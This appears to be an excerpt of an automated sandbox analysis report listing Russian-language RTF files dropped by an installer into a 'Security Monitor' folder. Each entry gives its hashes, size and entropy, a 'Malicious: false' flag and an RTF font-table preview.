Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-11PFK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36808
Entropy (8bit):	5.0329736161419865
Encrypted:	false
SSDEEP:	768:q4eM4jXTicPI0QhhiLVFBbRTRYDOuJLrEZLZ/6A9i:q4UyUnVIA9i
MD5:	F9230F9C9FA57AB35625AD7DFD1D21A1
SHA1:	27AAAF7B861E3C1A0D017377E0F59801E143D59C
SHA-256:	85125B0682653CE7A5E9569F8480A87F5A3F1D3978B47A3C1AAD5FE80401D7CB
SHA-512:	A8FB380CD3DB166ECF2174097158B4261020E8AB376A2B6180958BC615CEF3F7CFBC4D4D437ADC454801FC9193E80A94B56C54B4CB2CAF4485043F34B132F99C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-1354A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61781
Entropy (8bit):	4.857520301127485
Encrypted:	false
SSDEEP:	768:2aTIM0LDyaeOsDvEpd1rTmMYm7JRFOtf1SPuJtxLs2coKPvZZ0Z/6A97:2asMQwPIA97
MD5:	78E67BA68FD674E528877B2C4ED0EA13
SHA1:	2393978ADD7BA637E654A9FDB1815BB2D4000BE2
SHA-256:	E023BDA87BC91024BDF8117E2E8FD19628ED0006DF399033A1FDF0A261CD90F8
SHA-512:	D3306182B95C93CB4DDDD7219239F8F927EDD1BF5F3134B89E19637760B8E3F051EBA9ED8EC193CA31D04FDFF2FD75AF6A3F119C357E244DCD7DB151B8061753
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 0202060305040502

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-331R5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48100
Entropy (8bit):	5.025830167724142
Encrypted:	false
SSDEEP:	768:q4Fknx1eiCUYCmpNM2UrPGsGx7TYlDIUldgOQrrFrf7IPWj2sqiHTLb3ybVaGMbQ:q4giYIA9b
MD5:	89ED020D20DA91E6E1F6AF7A3A4C3ED8
SHA1:	B387B9E8EE99429E41090937A41D60564CA50A5A
SHA-256:	29857E5F65A83CB250D7374A4AAFBCC1159C4318942F5044C9C12534A1962B41
SHA-512:	1CBFA048F043D784062288EC39E5A89F74EF418CE6FBA1C2FFA32555B993C446CAC8ADB63B05D2E60FF3DB65735E55664C954D84AC4F21DDB94542BFE536F6BF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-6DBRC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38593
Entropy (8bit):	5.02789644916169
Encrypted:	false
SSDEEP:	768:q4e6xdUjOcPI0QhhiLVpUGXnT9bZhdfGjlrqCHy/RKECA13GPkmZ/6A9S:q4L7UnoIA9S
MD5:	030CBC2FE247F98453B82ABC39C3C966
SHA1:	D5F3102D3878F32C5A5FC7AEE0AF3F63DDB74119
SHA-256:	88E89133FC2542C74552BC4AD65320B01F08ED3A1E5269C008A0236BAF0C0893
SHA-512:	86109DEF32876A40F30B9A4D7D5366BE4FA07D62F3019CC269F3F1A7BD68C2C6597BD2341E0CEAC72951D2B8C66DAEBBE46278ECCAE7CC4D54F32FA9C5B833ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-7CNLB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53477
Entropy (8bit):	4.993468879548167
Encrypted:	false
SSDEEP:	768:q4eDwJeLCdAT2njX8x3l7G5V5V5h5G5P5N58UkbdSLVMVIs2TFDtyZ12TXW++xUu:q4ZVFIA9b
MD5:	E70B7387C930D96F979C15DEF4A0EF82
SHA1:	9885403B2230DB0BC89F6C12A5326C28DD5C0ABB
SHA-256:	2ECA499E76C966798F73BFF750D868951A1F337854402446D060919F2D10CE87
SHA-512:	D37DA2B1EBF5808CBBE89163FDEEBB96E842F5FD3CC4A7523F478CA1433BF1F826F44EB219E397F8A427B4884A1987BF435D19F5C809BD06B1E7600E4FD5980C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-7UTBH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42126
Entropy (8bit):	5.024542957132508
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVtwYMgT+h6asH7UlKBGcg5dEmR7iC//+U1zfymCRwFOcEz:q49OUnwIA92
MD5:	08B4567798ABE579F2D14EA033F94E31
SHA1:	28E3F5CB129DB9B3B33E104773609BF86C8A6861
SHA-256:	2EEB8BAA34230B1D075F9E9C59289BC3B1ACDAB08EF0A181A1FB43F6F3F1BD41
SHA-512:	7F8F5598E931CCCBB0F259AFDF369E7A8FDCBBFE1C222EE8B4D5FF16FE502D4F9BDF54799D3C8420FC5903624DCC7E0412197A067FBA3EF82862ECD491C6F312
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-96I5E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44589
Entropy (8bit):	5.042107887527953
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epnBBbq1FkSkek9kukBkrkSkP9MkSI6Ioum:qq4ABXIA9N
MD5:	A408ECED60101314102C175C7FE3E9D7
SHA1:	EBD937ECBFE7FDCC84DF27E7AEED4AC53FAA488A
SHA-256:	2649AAF142678E0D5B5DBEEC454E5D04DD191CE636F6EC5231A7A633C754252C
SHA-512:	B5E5B24DAF9BB0EC263E37AB11B1A66F50C3C4742F3EDB674AEF6FCA8B1F1C566D2F5CF59C9CA95779C9D055CC58B80770B9374EE605D110312F0C6E761E0BA0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-9B0OH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48785
Entropy (8bit):	5.035435060271824
Encrypted:	false
SSDEEP:	768:qqFy4a4jeDCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnRbK3j10C0O0N0e0x0b0o0g4:qqJ9CxIA92
MD5:	DC2C7249084FEEBFE9F1E4FB3491C9EA
SHA1:	B1F39695D01244B8D85F9FE40D24B809759DB0FA
SHA-256:	D5EE096B03118AA2E7032A80EAD45F1C1D180889E5C0D9140F5C7D999698EFBD
SHA-512:	6B83FF30438154C6D58F7BA35FB6D01DA65D3B696340B522653DB3AEAD830DF67CEF61B1729197E24E8A160558418CBF639E5F31D6D2E990527C1920376FCE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-ARS9D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50749
Entropy (8bit):	5.025992337478631
Encrypted:	false
SSDEEP:	768:qqFywxd/cCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnnbxa10C0O0N0e0x0b0o0g0sq:qq/MlIA9E
MD5:	4091E666BD6CCC6971AE0F510870DB42
SHA1:	E21753F9D29706ECCD6371C10A0CE598C80C64D1
SHA-256:	508DC3EFA99E34F0865225A43C9D2554169D4D9C9D1CE5C1CA4FEB41958DE1B5
SHA-512:	C8FCF769BA2F155F8BAF4A9BF3E5D93377191EE7C02BCF5ED9E8158C10BC82B1AB344B9788D1FE81A73C18B0E2E10F0DD69C2C2400216878FA34EEDAAA824709
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-C863T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59300
Entropy (8bit):	4.973759890149894
Encrypted:	false
SSDEEP:	768:qqe+2VXLcpErLVYZx1M8j5g5V5V5h5G5P5N5hBcqtqYepAkVZEdvI9TMMf4fPOj/:qqqcshf4fH6IA9h
MD5:	00483C12EB7B2424B5A2C264DBFBAD6F
SHA1:	3038291DC4B40B6C269A24727F175504F09DD532
SHA-256:	BC9B42D7D66A88398A3FFEAB5790818CCB2DF9FA4B24FC8524F86F23930A8ED4
SHA-512:	04B58420762D90E1564AB6635B718FA47CB71795B743CC42FBC7B54B01D6243083C39A99B9A276F9290BC7FC4989AE0970DB35DBDBAAC92E9B80B69FBEC71693
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-D3BUF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34281
Entropy (8bit):	5.012287301852251
Encrypted:	false
SSDEEP:	384:2aFkTZ0dW2OTYn/akt0LL32En4leo75Y3kpTBLRA6AlEayv:2aFkA0LL32EhZ/6A9O
MD5:	EDED564ACC58819DE344EDCF72FC398B
SHA1:	5BE5194C6D1F83EB91B5ADC4F165BF49EA393FD1
SHA-256:	A036B3EA04F1F8A0C6DF8948FD2ECE8422AF95438DF6FE40AF14D46C457C387A
SHA-512:	3AC8B47B305149067386772E289302033EAB223D1C1B64474268B6DE8BE444377640BCB0F852DA53FBC0B7B17F71EA84AA2CA360F9D6CB938C502B1F689A9B7F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-D3F9Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42713
Entropy (8bit):	5.047774415882159
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epbPybO9FO0I0cmG8/FRaZHIZ/6A95:qq4ePXIA95
MD5:	FC56B09D7F10AE95E575F472B2CE9AB8
SHA1:	806D290A16EE633A1D79B8D916FE00D508ECD51D
SHA-256:	75B89487ADE95BD0450DA43B8978AB7E37AD22CAA7DEDCB9D599EEA0EE0E8A04
SHA-512:	7B0948BCE8EE5AC36E7C91D3405F041973B6F9A6D316E64454E9E6A3B2A316CF65C03D1CE7041B9DD5FBEA3F94F175138735336D71CA927FB68D66D92413CC2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-DDEPE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50965
Entropy (8bit):	4.9704278921640555
Encrypted:	false
SSDEEP:	768:2aFkzOc7cskl/VGGAf+E2aiImsQZ/6A91:2aqz+aGIA91
MD5:	B4BB6B054B4A31DE24E87AC030375781
SHA1:	9DFAB2ACC25BA7B468C695E26B953D3E51987121
SHA-256:	B9AB1C6AC6061D9912ACFDF1499C8F4A22D92F950B27BE87BE7B4E0C631EA193
SHA-512:	39CC26F5008F356B8C30551E4B425BCF180662159A308846CD605A5B82E215C63CF5EAEB7A44996E4C39942DDB47FD30AEAF116B671DEA5073E906355244FE2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-E8DF2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43270
Entropy (8bit):	5.005983710564955
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akJOc7jgskl7rVGGH249LYeoYGEovrMoQJhYNgDPsKknWeo7L:2aFk9Oc7cskl/VGGW+2/Z/6A92
MD5:	4AF18EE9439DF76D12E065E6AA400E6F
SHA1:	B9B939259BD0012DDF6A025199CB670F7B3C0CCE
SHA-256:	DF734E3254D106D22C2C57D81E1C8BA28DAB721488DBB48930516B94948A19DF
SHA-512:	80534BA7923F78792211AF00922D7B9E15A4FB25BF1661353BE820690EF3CDED245AC9BC951CF2BC6F48D8B9C5315DDE74DA9FC2CB8BE097ADECC3BE3EA07270
